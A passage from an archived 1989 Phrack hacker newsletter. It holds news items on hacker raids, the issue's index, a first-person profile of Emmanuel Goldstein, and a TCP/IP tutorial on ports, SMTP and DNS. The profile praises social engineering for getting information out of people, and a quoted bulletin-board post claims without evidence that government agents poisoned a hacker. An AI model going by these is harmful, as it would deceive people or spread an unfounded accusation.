from Teleconnect Magazine. ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ 15. Motorola

Introduces Network Encryption System (August 4, 1989) ‑Motorola Government Equipment Group (GEG) has introduced its Network Encryption System (NES), which features the latest in security services for the protection of Local Area Networks (LANs). Designed in accordance with Secure Data Network System (SDNS) standards including SDNS electronic key management, the NES is a flexible internet security solution for Type I applications.

The NES is unique in COMSEC technology because the protocol software is loaded via diskette. The NES is installed in the drop cable between the computer and the transceiver, or as a gateway device separating a LAN from a backbone network. The product supports both DoD and ISO internet standards allowing protection over wide area networks.

The initial product accommodates connection to IEEE 802.3 and IEEE 802.4 medias. Motorola Inc. has a Memorandum of Agreement with the National Security Agency and anticipates product endorsement in the first quarter of next year. The LAN product represents the first of a family of SDNS products that will provide complete, interoperable system security solutions. Additional information on the NES can be obtained from Joe Marino at (602) 441‑5827. ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ 16. The

Death of Shadow 2600: No Accident (July 6, 1989) ‑‑ The following is a message taken from The Central Office:

89Jul06 from fdg @ The Central Office

MY CONDOLENCES TO DAVE FLORY'S FAMILY AND FRIENDS. Do you all realize WHY a 22 year old died? It says one thing to me. He was killed by some insane ex‑CIA types. Most likely under orders from the idiots who tried to prosecute him in 1985. This kind of thing is getting more common under President Bush. He ran the CIA, and he is now encouraging the same dirty tricks to silence people who cause "problems." Abbie Hoffman was done in the same way. A small hypodermic full of prussic aced. You will hear about more ex‑hippies, yippies, and hackers/phreaks dying mysteriously in the foreseeable future.

You have been warned. And who am I to know all this? Believe me, friends, I am highly placed in the government. You will see more friends die. You may laugh now, but I decided to leave a public message in hopes of saving a few lives.

Special Thanks to Epsilon

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

17. Legion Of Doom Members Raided In Atlanta (July 21, 1989) ‑The Leftist, The Urvile, and The Prophet, all of the world famous hacking group known as the Legion of Doom, were raided on July 21, 1989. The day in question is interesting because two years prior, that was the same day that a nationwide sweep netted over 80 hackers across the country including famous names such as Oryan QUEST, Solid State, and Bill From RNOC.

The charges against the LOD members range from toll fraud to illegal entry into government computer systems, although as it is told, the government systems were entered by the Urvile and the other two had nothing to do with it. Currently, all three LOD‑Atlanta members are still waiting to find out what will happen to them as charges have not yet been brought against them, very similar to what happened to the hackers in 1987.

It has been said by security personnel at Michigan Bell that these LOD busts were a spinoff of the supposed arrest of Fry Guy on July 19 for his role in the Delray Beach, Florida probation officer scam (detailed last issue). It is believe that he had been working closely with LOD‑Atlanta (especially The Leftist) and when caught for the probation office scam, he got scared and turned over what he knew about LOD.

________________________________________

29

- Phrack Inc. XXIX Index by Knight Lightning & Taran King

- Phrack Pro-Phile XXIX on Emmanuel Goldstein by Phrack Staff

- Introduction to the Internet Protocols II by Knight Lightning

- Network Miscellany II by Taran King

- Covert Paths by Synthecide & Cyber Neuron Limited

- Bank Information compiled by Legion of Doom

- How We Got Rich Through Electronic Fund Transfer by Legion of Doom

- The Myth and Reality About Eavesdropping by Phone Phanatic

- Blocking of Long-Distance Calls... by Jim Schmickley

- Phrack World News XXIX Part 1 by Knight Lightning

- Phrack World News XXIX Part 2 by Knight Lightning

- Phrack World News XXIX Part 3 by Knight Lightning

Phrack Inc. XXIX Index

==Phrack Inc.==

Volume Three, Issue 29, File #1 of 12

Phrack Inc. Newsletter Issue XXIX Index

~~~~~~~~~~~~~~~~~~~~

November 17, 1989

Greetings and welcome to Issue 29 of Phrack Inc. For those of you who have been with us from the beginning, the date on this issue may hold some historical significance:

Happy Fourth Anniversary Phrack Inc.!

This issue we feature two files dealing with electronic fund transfer written by a member of the Legion of Doom who wishes to remain anonymous. The second article tells a story detailing how an actual electronic fund transfer might take place ‑‑ Is it true or is it fiction? We decided to let you, the reader, decide that for yourself.

The Future Transcendent Saga continues as usual in this issue with part two of "Introduction to the Internet Protocols." We also present to you the second edition of Network Miscellany which focuses largely on Public Access Unix systems around the country. Last, but not least, concerning the wide area networks, we have Covert Paths ‑‑ a file about hacking on the Internet and how to make sure you cannot be tracked down.

On a lighter note, it appears that Teleconnect Magazine liked The Mentor's "Hacker's Manifesto" so much that they decided to print a portion of it in their November 1989 issue. If you receive this magazine you will find it on page 55, but only the last 4 paragraphs (they apparently did not like the beginning of the file). The interesting thing is that Teleconnect claims that they were given the article by MCI Security who recently discovered it on a bulletin board. If you are a long time reader of Phrack Inc., you might remember that this article was dated for January 8, 1986 and originally appeared in Phrack Inc. Newsletter Issue VII (file 3 of 10) and again in issue XXIV (file 3 of 9).

As always, we ask that anyone with network access drop us a line to either our Bitnet or Internet addresses...

Taran King Knight Lightning C488869@UMCVMB.BITNET C483307@UMCVMB.BITNET C488869@UMCVMB.MISSOURI.EDU C483307@UMCVMB.MISSOURI.EDU

And we can also be reached via our new mail forwarding addresses (for those that cannot mail to our Bitnet or Internet addresses):

...!netsys!phrack or phrack@netsys.COM

________________________________________

Table of Contents:

1. Phrack Inc. XXIX Index by Taran King and Knight Lightning

2. Phrack Pro‑Phile XXIX on Emmanuel Goldstein

3. Introduction to the Internet Protocols II: Chapter Nine of the FTS by KL 4. Network Miscellany II by Taran King

5. Covert Paths by Cyber Neuron Limited and Synthecide

6. Bank Information compiled by Legion of Doom!

7. How We Got Rich Through Electronic Fund Transfer by Legion of Doom! 8. The Myth and Reality About Eavesdropping by Phone Phanatic

9. Blocking of Long‑Distance Calls... Revisited by Jim Schmickley 10‑12 Phrack World News XXIX/Parts 1‑3 by Knight Lightning

________________________________________

Phrack Pro-Phile XXIX on Emmanuel Goldstein

==Phrack Inc.==

Volume Three, Issue 29, File #2 of 12

==Phrack Pro‑Phile XXIX==

Created and Presented by Taran King

Done on November 12, 1989

Welcome to Phrack Pro‑Phile XXIX. Phrack Pro‑Phile was created to bring information to you, the community, about retired or highly important/ controversial people. This edition of the Phrack Pro‑Phile starts a different format as I'm sure you will notice. The skeleton of the Pro‑Phile is a form in which the people fill in the blanks. Starting now, using their words (and a little editing), the Pro‑Phile will be presented in first person format. This month, we present to you the editor of one of the most prominent printed phreak/hack newsletters of all times...

Emmanuel Goldstein

~~~~~~~~~~

Handle: Emmanuel Goldstein

Call Him: Call me anything. Just look me in the eye. Past Handles: Howard Tripod, Sidney Schreiber, Bob Hardy, Gary Wilson, Clint Eastwood, 110. There are others that I keep quiet about.

Handle Origin: I prefer using regular names rather than descriptive boastful titles (i.e., "The Hacker King," who, incidentally, I don't wish to offend if he/she even exists; this is just an example). The names I use are either people I've "become" or names that bestow a certain image. Emmanuel Goldstein, for instance, led the resistance in "1984." But then, there was talk that he never really existed and was just created by the government in order to capture the real subversives. I don't think that's the case with me.

Computers: I use PC compatibles for the most part. I also play around with Macs but they're not REAL computers to me. My favorite machine of all time is the Zenith Z‑100, a dual‑processor computer that can emulate an old fashioned H8 or an IBM PC. It runs lots of operating systems and has a great keyboard. Too bad it was discontinued four years ago....

Sysop/Co‑Sysop Of: The old Plovernet on Long Island (1984), Private Sector in New Jersey (1985, 1986), and the present and future 2600 boards.

Origins in Phreak/Hack World

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

I've been playing with phones all of my life and I started playing with computers the first time I saw one. I always seemed to get in trouble for doing things I wasn't supposed to... crashing the PDP‑10 in high school... flashing the switchhook on my phone 95 times and getting an angry switchman who wouldn't release the line, claiming I broke it (I was 10). As computers and phones started to become integrated, I realized what hacking really was ‑‑ just asking a lot of questions and being really persistent. A lot of people don't like that, whether it's computers or real life, but how else are you going to learn what's REALLY happening and not just what others WANT you to know?

Origins in Phreak/Hack BBSes

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

I don't really have a BBS reputation to speak of. They tend to disappear rather quickly and that tends to dampen my enthusiasm towards them quite a bit, but I do want to see more and more of them come up and begin to reach out and be creative. They also have to challenge the system some more. 2600 has a very strong opinion on BBS privacy, namely that the same rights afforded to any publication should be extended to a bulletin board, but every BBS owner should know the importance of this and should be willing to fight for it. If you didn't believe in preserving the First Amendment, you probably wouldn't go out and buy a newspaper, would you? A BBS is the same thing and anyone who runs a system should see this connection. Hackers tend to bring this issue to the forefront a bit more, but this is something that applies to all bulletin boards.

Encounters With Phreakers and Hackers

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Meeting Captain Crunch in Amsterdam this past summer was a real trip. Finding out who Cable Pair really was certainly resulted in some highlights. I've met a lot of "famous" phreaks and hackers and now I know a lot of foreign ones, but I'm always amazed at the number of people I meet (mostly in New York) who say they've been hacking since the sixties. There's an awful lot of people out there who are into this kind of stuff, which is something I never knew before I started being open about these particular interests.

Experience Gained In The Following Ways

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Social engineering, of course. I like hacking computers when I'm not feeling social because you don't have to adjust your attitude to get a reply, but people hacking is so much more satisfying. No matter how many security codes and precautions are taken, as long as one person without knowledge is able to talk to another with knowledge, it will always be possible to get things out of them. Most of the really important bits of information I've been able to get are through people, not computers.

Knowledge Attributed To...

~~~~~~~~~~~~~~~~~~~~~~~~~~

Ignorance. I built up my knowledge by wandering around in places others thought unimportant. Hacking can be like trashing. It looks like garbage or a waste of time to most, but if you keep your mind open, you can learn a lot. If more people felt this way, hackers would stand out less because everyone would be a bit more adventurous, but ignorance prevails and we learn what nobody else cares about...that is until it affects them.

Work/Schooling

~~~~~~~~~~~~~~

I got an English degree at Stony Brook (it's currently gathering dust in a closet). I should note that I've never taken a computer course, nor do I intend to. I've worked as a limo driver, a Good Humor man, and a typesetter, and more recently, as a freelance writer, a reporter for Pacifica Radio, and a radio engineer/producer and talk show host.

Busted For...

~~~~~~~~~~~~~

I used to make free phone calls all the time. Now, obviously, I can't do that, since I'm in the public eye, but that's not a drawback to me because I can still experiment all I want. Nothing can change that. For the most part I was careful while I was doing these things, but there was one time when my luck ran out. I had been using Telemail to communicate with some other people and they, unknown to us, had been looking for hackers on their system. They found us, the members of PHALSE (Phreakers, Hackers, and Laundromat Service Employees [I'm told the feds spent a lot of time investigating the laundry connection, even though we only used it to spell out the word PHALSE!]). I believe four people got indicted in that adventure. I was one of them. Bill Landreth was another. They thought I was the ringleader so they gave me a 10 count indictment, more than twice what anyone else got. Without hiring an expensive lawyer, I talked to a roomful of feds about the system and what was wrong with it. I made it clear that I wasn't turning anybody in ‑‑ even if I wanted to I still didn't know who or where they were. I think I was dealt with fairly. I told them what I did and paid for the time I used. Nothing more. That was in 1984 when 2600 was just getting off the ground. A couple of years ago, one of the feds who had questioned me tried to get me to work for them. Not to entrap hackers, but Soviet spies. And so it goes.

Interests

~~~~~~~~~

I guess I'm an explorer because everything I like doing involves exploration of some sort. Obviously, hacking contains a good amount of that. I like traveling quite a bit, particularly when I'm free to do whatever the hell I want. Traveling with people is fun but it can also be a drag because something you want to do puts them off and then you either wind up not doing it or doing it and pissing them off. I like to ride subways to weird places and walk through bad neighborhoods. It's all a part of exploring and seeing the world through different eyes. A couple of years ago I went to Baffin Island and hung out for a week with Eskimos. Everyone thought I was crazy but I had a great time. I'm also into astronomy, but not the classroom kind. I took a course in astronomy once and it was the biggest mistake of my life. All we did was talk about equations. I like to look at the sky and read about what's being discovered up there. When the space telescope goes up next year, interest in space will rise again. Then there's free‑lance writing, which I have to devote more time to. I'm working on a couple of plays, some short stories, a screenplay for a movie, and a screenplay for TV. I'll probably focus on the plays only because there's so much bullshit involved in TV and movies. And finally, there's radio. I've been in radio for just over 10 years, doing whatever comes to mind on WUSB‑FM in Stony Brook, NY, a small, noncommercial radio station at the State University. Now I also work at WBAI‑FM, a much larger station in New York City with the same kind of free‑form attitude. There's so much you can do with radio, but so few stations want to take a chance any more. That's why they all sound the same. Unfortunately, when you sell commercials, you also sell your freedom. I've seen it enough times to know it's true and that's the reason I've stayed out of commercial radio. Right now I do a weekly talk show on WUSB called "Brain Damage" where I take calls, play with the phones, and air tapes from Radio Moscow. On WBAI I'm doing two shows: "News of the World" which is a compilation of foreign news reports and "Off The Hook," a program about, you guessed it, phone phreaks.

Favorite Things

~~~~~~~~~~~~~~~

I like hanging out with fun people who are open‑minded, non‑judgmental, and preferably insane to a degree. I enjoy talking on the phone with friends and strangers alike. Strangers are different because you can be whoever you want to be with them. They tend to believe almost anything you say. Music is really important. Right now I like rappers and toasters the most, with soca and hardcore close behind. Ska's real good too, but there's not much coming out. The record I put on when I wake up sets my mood for the day. I like music with lyrics that mean something. There's a time and a place for mindless droning but there's too much of it around. Music should have meaning. In Jamaica, people don't buy newspapers. They buy records and that's how they learn what's going on and what the latest catch phrases are. Some of my favorite rock bands include The Clash, Big Audio Dynamite, Dead Kennedys, Donner Party, Public Enemy, Camper Van Beethoven, Pink Floyd, Fun Boy Three, De La Soul, and Anti‑Nowhere League. Some of my favorite solo artists are Tracy Chapman, John Lennon, Elvis Costello, and Patsy Cline. I realize I'm very lucky because I work in an environment (noncommercial radio station) that gets over 100 new albums a week. I don't know how I would have ever found some of the stuff I like if I didn't have that kind of access.

Inside Jokes

~~~~~~~~~~~~

"OK, if we can't have a tour, can we at least have a look around?"

"I'm not allowed to talk to you any more."

"This is the Sprint operator. I have a collect call from AT&T."

"There aren't any more supervisors, sir. You've spoken to all of them."

"Iran, will you hang up! Sir, do you speak what he speaks?"

"I said, DON'T hit return!"

"But we didn't know it was the foreign minister!"

"Repair serv‑‑ damn! There it goes again. What the hell's wrong with these phones?"

"Just tell me how much money you lost and I'll arrange for a trial date."

Serious Section

~~~~~~~~~~~~~~~

Being a part of the hack/phreak community, you get to experience unique little adventures that the "average" person has no conception of. We talk to people over the phone and have no idea what they look like, often no idea what they even sound like (BBSes). We play with technology and are thought of as geniuses merely because the rest of the world doesn't understand what we're doing. I think that goes to our heads sometimes, which is bad for everyone. We should apply our knowledge and skills not only to help ourselves by getting a high‑paying job somewhere but to help others as well. Look what happened in China. Using FAX machines, modems, and redial functions, people forced information into the country and tied up the government's snitch lines which probably saved a few lives. The "average" person would never think of applying technology in this way, but we do and we know how to do it efficiently, quickly, and without spending money. It's because of that last one that we've got freedom. Most people don't do things because of the cost. Without having to worry about that, you can be a lot more imaginative. Of course, that also makes it illegal, which is enough to stifle some of us. What we do and how we do it is a decision we each have to make, but we should stop wasting time boasting and get on with the exploring and the learning and the new applications. Another thing that really gets me is the person who says, "hacking and phreaking isn't what it used to be." First off, if nothing changes, life gets pretty dull. Second, that statement is usually a precursor to something like, "what kids do today isn't real hacking. What I did 5, 10, 20 years ago was REAL hacking." Generalizations like that are worthless. It's just like yuppies going on about the Beatles, calling that real music, and saying the sounds of today are crap (by the way, I like the Beatles a lot). At the same time, too many hackers are just starting out and thinking they know it all, dismissing everything that happened before they were around. The spirit of today's hacker is often the same as that of a phone phreak of the sixties. And there were people like us around 100 years ago but we're even more far removed from what they could have possibly been doing. The point is that there's a bond that ties a lot of us together ‑‑ it cuts through time and backgrounds. Like anything else, there's too much hypocrisy and judging going on in the hack/phreak world. I think it's a real waste of time.

Are Phreaks/Hackers You've Met Generally Computer Geeks?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Not in the least. Those people that I've come to know have turned out to be just about everything you can imagine. White/Black, Jew/Gentile, straight/gay, male/female, opened/closed, you name it. Everyone's got different sides to them, stuff they don't always want others to know. Sometimes we try to squash those other sides of us, but they still exist. I've met hackers who have geekish qualities but once you get to know them, you realize there's more to them. Of course, there are lots of hackers I would never want to know in a million years; that's just the way I am with a lot of people. I think it was Linus Van Pelt who said, "I love mankind. It's people I can't stand."

Introduction to the Internet Protocols II

==Phrack Inc.==

Volume Three, Issue 29, File #3 of 12

<><><><><><><><><><><><><><><><><

<>

<> Introduction to the Internet Protocols <>

<> ~~~~~~~~~~~~~~~~~~~~

<> Chapter Nine Of The Future Transcendent Saga <>

<>

<> Part Two of Two Files <>

<>

<> Presented by Knight Lightning <>

<> September 27, 1989 <>

<>

<><><><><><><><><><><><><><><><><

Prologue ‑ Part Two

~~~~~~~~

A great deal of the material in this file comes from "Introduction to the Internet Protocols" by Charles L. Hedrick of Rutgers University. That material is copyrighted and is used in this file by permission. Time differention and changes in the wide area networks have made it neccessary for some details of the file to updated and in some cases reworded for better understanding by our readers. Also, Unix is a trademark of AT&T Technologies, Inc. ‑‑ Again, just thought I'd let you know.

Table of Contents ‑ Part Two

~~~~~~~~~~~~~~~~~

* Introduction ‑ Part Two

* Well Known Sockets And The Applications Layer

* Protocols Other Than TCP: UDP and ICMP

* Keeping Track Of Names And Information: The Domain System

* Routing

* Details About The Internet Addresses: Subnets And Broadcasting * Datagram Fragmentation And Reassembly

* Ethernet Encapsulation: ARP

* Getting More Information

Introduction ‑ Part Two

~~~~~~~~~~~~

This article is a brief introduction to TCP/IP, followed by suggestions on what to read for more information. This is not intended to be a complete description, but it can give you a reasonable idea of the capabilities of the protocols. However, if you need to know any details of the technology, you will want to read the standards yourself.

Throughout this file, you will find references to the standards, in the form of "RFC" (Request For Comments) or "IEN" (Internet Engineering Notes) numbers ‑these are document numbers. The final section (Getting More Information) explains how you can get copies of those standards.

Well‑Known Sockets And The Applications Layer

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

In part one of this series, I described how a stream of data is broken up into datagrams, sent to another computer, and put back together. However something more is needed in order to accomplish anything useful. There has to be a way for you to open a connection to a specified computer, log into it, tell it what file you want, and control the transmission of the file. (If you have a different application in mind, e.g. computer mail, some analogous protocol is needed.) This is done by "application protocols." The application protocols run "on top" of TCP/IP. That is, when they want to send a message, they give the message to TCP. TCP makes sure it gets delivered to the other end. Because TCP and IP take care of all the networking details, the applications protocols can treat a network connection as if it were a simple byte stream, like a terminal or phone line.

Before going into more details about applications programs, we have to describe how you find an application. Suppose you want to send a file to a computer whose Internet address is 128.6.4.7. To start the process, you need more than just the Internet address. You have to connect to the FTP server at the other end. In general, network programs are specialized for a specific set of tasks. Most systems have separate programs to handle file transfers, remote terminal logins, mail, etc. When you connect to 128.6.4.7, you have to specify that you want to talk to the FTP server. This is done by having "well‑known sockets" for each server. Recall that TCP uses port numbers to keep track of individual conversations. User programs normally use more or less random port numbers. However specific port numbers are assigned to the programs that sit waiting for requests. For example, if you want to send a file, you will start a program called "ftp." It will open a connection using some random number, say 1234, for the port number on its end. However it will specify port number 21 for the other end. This is the official port number for the FTP server. Note that there are two different programs involved. You run ftp on your side. This is a program designed to accept commands from your terminal and pass them on to the other end. The program that you talk to on the other machine is the FTP server. It is designed to accept commands from the network connection, rather than an interactive terminal. There is no need for your program to use a well‑known socket number for itself. Nobody is trying to find it. However the servers have to have well‑known numbers, so that people can open connections to them and start sending them commands. The official port numbers for each program are given in "Assigned Numbers."

Note that a connection is actually described by a set of 4 numbers: The Internet address at each end, and the TCP port number at each end. Every datagram has all four of those numbers in it. (The Internet addresses are in the IP header, and the TCP port numbers are in the TCP header.) In order to keep things straight, no two connections can have the same set of numbers. However it is enough for any one number to be different. For example, it is perfectly possible for two different users on a machine to be sending files to the same other machine. This could result in connections with the following parameters:

Internet addresses TCP ports connection 1 128.6.4.194, 128.6.4.7 1234, 21 connection 2 128.6.4.194, 128.6.4.7 1235, 21

Since the same machines are involved, the Internet addresses are the same. Since they are both doing file transfers, one end of the connection involves the well‑known port number for FTP. The only thing that differs is the port number for the program that the users are running. That's enough of a difference. Generally, at least one end of the connection asks the network software to assign it a port number that is guaranteed to be unique. Normally, it's the user's end, since the server has to use a well‑known number.

Now that we know how to open connections, let's get back to the applications programs. As mentioned earlier, once TCP has opened a connection, we have something that might as well be a simple wire. All the hard parts are handled by TCP and IP. However we still need some agreement as to what we send over this connection. In effect this is simply an agreement on what set of commands the application will understand, and the format in which they are to be sent. Generally, what is sent is a combination of commands and data. They use context to differentiate. For example, the mail protocol works like this: Your mail program opens a connection to the mail server at the other end. Your program gives it your machine's name, the sender of the message, and the recipients you want it sent to. It then sends a command saying that it is starting the message. At that point, the other end stops treating what it sees as commands, and starts accepting the message. Your end then starts sending the text of the message. At the end of the message, a special mark is sent (a dot in the first column). After that, both ends understand that your program is again sending commands. This is the simplest way to do things, and the one that most applications use.

File transfer is somewhat more complex. The file transfer protocol involves two different connections. It starts out just like mail. The user's program sends commands like "log me in as this user," "here is my password," "send me the file with this name." However once the command to send data is sent, a second connection is opened for the data itself. It would certainly be possible to send the data on the same connection, as mail does. However file transfers often take a long time. The designers of the file transfer protocol wanted to allow the user to continue issuing commands while the transfer is going on. For example, the user might make an inquiry, or he might abort the transfer. Thus the designers felt it was best to use a separate connection for the data and leave the original command connection for commands. (It is also possible to open command connections to two different computers, and tell them to send a file from one to the other. In that case, the data couldn't go over the command connection.)

Remote terminal connections use another mechanism still. For remote logins, there is just one connection. It normally sends data. When it is necessary to send a command (e.g. to set the terminal type or to change some mode), a special character is used to indicate that the next character is a command. If the user happens to type that special character as data, two of them are sent.

I am not going to describe the application protocols in detail in this file. It is better to read the RFCs yourself. However there are a couple of common conventions used by applications that will be described here. First, the common network representation: TCP/IP is intended to be usable on any computer. Unfortunately, not all computers agree on how data is represented.

There are differences in character codes (ASCII vs. EBCDIC), in end of line conventions (carriage return, line feed, or a representation using counts), and in whether terminals expect characters to be sent individually or a line at a time. In order to allow computers of different kinds to communicate, each applications protocol defines a standard representation. Note that TCP and IP do not care about the representation. TCP simply sends octets. However the programs at both ends have to agree on how the octets are to be interpreted.

The RFC for each application specifies the standard representation for that application. Normally it is "net ASCII." This uses ASCII characters, with end of line denoted by a carriage return followed by a line feed. For remote login, there is also a definition of a "standard terminal," which turns out to be a half‑duplex terminal with echoing happening on the local machine. Most applications also make provisions for the two computers to agree on other representations that they may find more convenient. For example, PDP‑10's have 36‑bit words. There is a way that two PDP‑10's can agree to send a 36‑bit binary file. Similarly, two systems that prefer full‑duplex terminal conversations can agree on that. However each application has a standard representation, which every machine must support.

So that you might get a better idea of what is involved in the application protocols, here is an imaginary example of SMTP (the simple mail transfer protocol.) Assume that a computer called FTS.PHRACK.EDU wants to send the following message.

Date: Fri, 17 Nov 89 15:42:06 EDT

From: knight@fts.phrack.edu

To: taran@msp.phrack.edu

Subject: Anniversary

Four years is quite a long time to be around. Happy Anniversary!

Note that the format of the message itself is described by an Internet standard (RFC 822). The standard specifies the fact that the message must be transmitted as net ASCII (i.e. it must be ASCII, with carriage return/linefeed to delimit lines). It also describes the general structure, as a group of header lines, then a blank line, and then the body of the message. Finally, it describes the syntax of the header lines in detail. Generally they consist of a keyword and then a value.

Note that the addressee is indicated as TARAN@MSP.PHRACK.EDU. Initially, addresses were simply "person at machine." Today's standards are much more flexible. There are now provisions for systems to handle other systems' mail. This can allow automatic forwarding on behalf of computers not connected to the Internet. It can be used to direct mail for a number of systems to one central mail server. Indeed there is no requirement that an actual computer by the name of FTS.PHRACK.EDU even exist (and it doesn't). The name servers could be set up so that you mail to department names, and each department's mail is routed automatically to an appropriate computer. It is also possible that the part before the @ is something other than a user name. It is possible for programs to be set up to process mail. There are also provisions to handle mailing lists, and generic names such as "postmaster" or "operator."

The way the message is to be sent to another system is described by RFCs 821 and 974. The program that is going to be doing the sending asks the name server several queries to determine where to route the message. The first query is to find out which machines handle mail for the name FTS.PHRACK.EDU. In this case, the server replies that FTS.PHRACK.EDU handles its own mail. The program then asks for the address of FTS.PHRACK.EDU, which for the sake of this example is is 269.517.724.5. Then the the mail program opens a TCP connection to port 25 on 269.517.724.5. Port 25 is the well‑known socket used for receiving mail. Once this connection is established, the mail program starts sending commands. Here is a typical conversation. Each line is labelled as to whether it is from FTS or MSP. Note that FTS initiated the connection:

MSP 220 MSP.PHRACK.EDU SMTP Service at 17 Nov 89 09:35:24 EDT FTS HELO fts.phrack.edu

MSP 250 MSP.PHRACK.EDU ‑ Hello, FTS.PHRACK.EDU

FTS MAIL From:<knight@fts.phrack.edu>

MSP 250 MAIL accepted

FTS RCPT To:<taran@msp.phrack.edu>

MSP 250 Recipient accepted

FTS DATA

MSP 354 Start mail input; end with <CRLF>.<CRLF>

FTS Date: Fri, 17 Nov 89 15:42:06 EDT

FTS From: knight@fts.phrack.edu

FTS To: taran@msp.phrack.edu

FTS Subject: Anniversary

FTS

FTS Four years is quite a long time to be around. Happy Anniversary! FTS .

MSP 250 OK

FTS QUIT

MSP 221 MSP.PHRACK.EDU Service closing transmission channel

The commands all use normal text. This is typical of the Internet standards. Many of the protocols use standard ASCII commands. This makes it easy to watch what is going on and to diagnose problems. The mail program keeps a log of each conversation so if something goes wrong, the log file can simply be mailed to the postmaster. Since it is normal text, he can see what was going on. It also allows a human to interact directly with the mail server, for testing.

The responses all begin with numbers. This is also typical of Internet protocols. The allowable responses are defined in the protocol. The numbers allow the user program to respond unambiguously. The rest of the response is text, which is normally for use by any human who may be watching or looking at a log. It has no effect on the operation of the programs. The commands themselves simply allow the mail program on one end to tell the mail server the information it needs to know in order to deliver the message. In this case, the mail server could get the information by looking at the message itself.

Every session must begin with a HELO, which gives the name of the system that initiated the connection. Then the sender and recipients are specified. There can be more than one RCPT command, if there are several recipients. Finally the data itself is sent. Note that the text of the message is terminated by a line containing just a period, but if such a line appears in the message, the period is doubled. After the message is accepted, the sender can send another message, or terminate the session as in the example above.

Generally, there is a pattern to the response numbers. The protocol defines the specific set of responses that can be sent as answers to any given command. However programs that don't want to analyze them in detail can just look at the first digit. In general, responses that begin with a 2 indicate success. Those that begin with 3 indicate that some further action is needed, as shown above. 4 and 5 indicate errors. 4 is a "temporary" error, such as a disk filling. The message should be saved, and tried again later. 5 is a permanent error, such as a non‑existent recipient. The message should be returned to the sender with an error message.

For more details about the protocols mentioned in this section, see RFCs 821/822 for mail, RFC 959 for file transfer, and RFCs 854/855 for remote logins. For the well‑known port numbers, see the current edition of Assigned Numbers, and possibly RFC 814.

Protocols Other Than TCP: UDP and ICMP

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Thus far only connections that use TCP have been described. Remember that TCP is responsible for breaking up messages into datagrams, and reassembling them properly. However in many applications, there are messages that will always fit in a single datagram. An example is name lookup. When a user attempts to make a connection to another system, he will generally specify the system by name, rather than Internet address. His system has to translate that name to an address before it can do anything. Generally, only a few systems have the database used to translate names to addresses. So the user's system will want to send a query to one of the systems that has the database.

This query is going to be very short. It will certainly fit in one datagram. So will the answer. Thus it seems silly to use TCP. Of course TCP does more than just break things up into datagrams. It also makes sure that the data arrives, resending datagrams where necessary. But for a question that fits in a single datagram, all of the complexity of TCP is not needed. If there is not an answer after a few seconds, you can just ask again. For applications like this, there are alternatives to TCP.

The most common alternative is UDP ("user datagram protocol"). UDP is designed for applications where you don't need to put sequences of datagrams together. It fits into the system much like TCP. There is a UDP header. The network software puts the UDP header on the front of your data, just as it would put a TCP header on the front of your data. Then UDP sends the data to IP, which adds the IP header, putting UDP's protocol number in the protocol field instead of TCP's protocol number.

UDP doesn't do as much as TCP does. It does not split data into multiple datagrams and it does not keep track of what it has sent so it can resend if necessary. About all that UDP provides is port numbers so that several programs can use UDP at once. UDP port numbers are used just like TCP port numbers. There are well‑known port numbers for servers that use UDP.

The UDP header is shorter than a TCP header. It still has source and destination port numbers, and a checksum, but that's about it. UDP is used by the protocols that handle name lookups (see IEN 116, RFC 882, and RFC 883) and a number of similar protocols.

Another alternative protocol is ICMP ("Internet control message protocol"). ICMP is used for error messages, and other messages intended for the TCP/IP software itself, rather than any particular user program. For example, if you attempt to connect to a host, your system may get back an ICMP message saying "host unreachable." ICMP can also be used to find out some information about the network. See RFC 792 for details of ICMP.

ICMP is similar to UDP, in that it handles messages that fit in one datagram. However it is even simpler than UDP. It does not even have port numbers in its header. Since all ICMP messages are interpreted by the network software itself, no port numbers are needed to say where an ICMP message is supposed to go.

Keeping Track Of Names And Information: The Domain System

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

As we indicated earlier, the network software generally needs a 32‑bit Internet address in order to open a connection or send a datagram. However users prefer to deal with computer names rather than numbers. Thus there is a database that allows the software to look up a name and find the corresponding number.

When the Internet was small, this was easy. Each system would have a file that listed all of the other systems, giving both their name and number. There are now too many computers for this approach to be practical. Thus these files have been replaced by a set of name servers that keep track of host names and the corresponding Internet addresses. (In fact these servers are somewhat more general than that. This is just one kind of information stored in the domain system.) A set of interlocking servers are used rather than a single central one.

There are now so many different institutions connected to the Internet that it would be impractical for them to notify a central authority whenever they installed or moved a computer. Thus naming authority is delegated to individual institutions. The name servers form a tree, corresponding to institutional structure. The names themselves follow a similar structure. A typical example is the name BORAX.LCS.MIT.EDU. This is a computer at the Laboratory for Computer Science (LCS) at MIT. In order to find its Internet address, you might potentially have to consult 4 different servers.

First, you would ask a central server (called the root) where the EDU server is. EDU is a server that keeps track of educational institutions. The root server would give you the names and Internet addresses of several servers for EDU. You would then ask EDU where the server for MIT is. It would give you names and Internet addresses of several servers for MIT. Then you would ask MIT where the server for LCS is, and finally you would ask one of the LCS servers about BORAX. The final result would be the Internet address for BORAX.LCS.MIT.EDU. Each of these levels is referred to as a "domain." The entire name, BORAX.LCS.MIT.EDU, is called a "domain name." (So are the names of the higher‑level domains, such as LCS.MIT.EDU, MIT.EDU, and EDU.)

